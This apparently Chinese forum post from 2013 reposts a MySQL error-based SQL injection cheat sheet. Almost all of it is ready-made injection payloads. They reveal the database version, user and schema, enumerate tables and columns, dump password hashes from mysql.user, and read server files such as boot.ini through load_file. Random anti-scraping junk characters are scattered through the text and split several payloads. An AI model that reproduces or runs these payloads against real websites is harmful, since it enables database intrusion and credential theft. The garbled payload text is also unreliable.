本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 + I5 [' t6 g9 f1 _& ^, e% @- V
! P" m) R8 Q D$ G; m) {2 R9 i" T
; e2 u+ m0 W7 C' F/ _2 O/ q. U" M
Mysql暴错注入参考(pdf),每天一贴。。。% B+ Y# ?" S8 Q" D( m: U
( C. h% k1 m" n* x- H8 XMySql Error Based Injection Reference0 h% p& k$ Q) C. O% F8 X
[Mysql暴错注入参考]
/ z1 [& T6 ]7 ^/ lAuthornig0s1992
+ p; a2 |# J4 s# t _Blog:http://pnig0s1992.blog.51cto.com/! z# G+ a2 T: c2 l/ f
TeAm:http://www.FreeBuf.com/
, S. D' G$ h- [' UMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功# I7 w; K+ j/ [) b' i
小部分版本使用name_const()时会报错.可以用给出的Method.2测试. T! ?, Y- g2 r ~7 U
查询版本:
# m0 `5 c4 d; _! @# f$ `Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
; l7 U [+ a! A4 i, Wjoin+(select+name_const(@@version,0))b)c)2 r% Q& B# r+ q4 r. Z2 p
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
4 w5 W- G/ A- p- i* G( a# e: lup by a)b)
- m% B6 p0 u2 f查询当前用户:
& D; ]& f. G3 Z: nMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
$ W6 S8 R1 G1 ]( {/ ]! \Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
9 S+ r. Y* z" U# Oand(0)*2))x+from+information_schema.tables+group+by+x)a) d+ y B- H/ X& N. F) G
查询当前数据库:
# @2 T' l3 {! n1 V: L8 B! PMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); b% ~1 B( s; g% g/ T
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo5 \, g7 m$ \9 C! _2 u8 n- [
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)3 @4 W6 W: U3 ^& k( q W. j9 _
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
% _0 w- z! U0 fLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n1 G7 ?3 ]: C$ r. {, ~
顺序替换& z3 A. R/ \2 G) [- C; c$ ]2 H3 H
爆指定库数目:- b% e W: I. w t: `
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t( J1 u2 H. w7 A6 M$ s
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group9 V2 A# {0 z% H: Y
+by+x)a)+and+1=1 0x6D7973716C=mysql& A) n8 k+ E: c2 Z3 }
依次爆表:
3 e9 l4 @9 u' W# s5 cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t' R+ a' d/ t9 @( n' H
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
# b- G& o, x8 y3 c8 Ibles+group+by+x)a)+and+1=1
4 X9 `, I/ c C- A0x6D7973716C=Mysql 将n顺序替换
& \0 q8 v4 t: C爆表内字段数目:
& M1 R) {+ v9 a; |! v) `and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE9 v+ n6 A$ m( C; h
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
* b8 d3 o! ~0 ^1 G2 W4 N/ A0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=14 b% m- B) V3 H4 T8 D4 d
依次爆字段:
% H5 r- ^' [" j' O3 \' s9 land+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
4 |/ ], a3 b/ O; `+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,16 D4 t( v. q/ e! @# U& l. c
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换; ]+ K) d& `) V' M( g& k% T! u
依次暴内容:) @0 S% \' v+ a/ U6 \ y {% w
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
: d2 s, X7 y! O. }7 ?! J, h& G/ \3 B! l: Vma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
; f* s2 x" b; z% G将n顺序替换* T/ C( o& u0 \4 X: J
爆文件内容:
1 x0 {4 g. U! R4 K6 e" Iand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a, j# S5 F- `7 J1 [6 n/ R
from+information_schema.tables+group+by+a)b)
: f2 ?( [# J$ Y" t0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
2 X4 p/ L7 e+ r6 n4 [2 R5 hThx for reading.
* P' c7 Z0 b8 f- l i2 w6 K5 u$ Y( m$ x
不要下载也可以, $ ~7 m- {8 [0 `) Z* N
|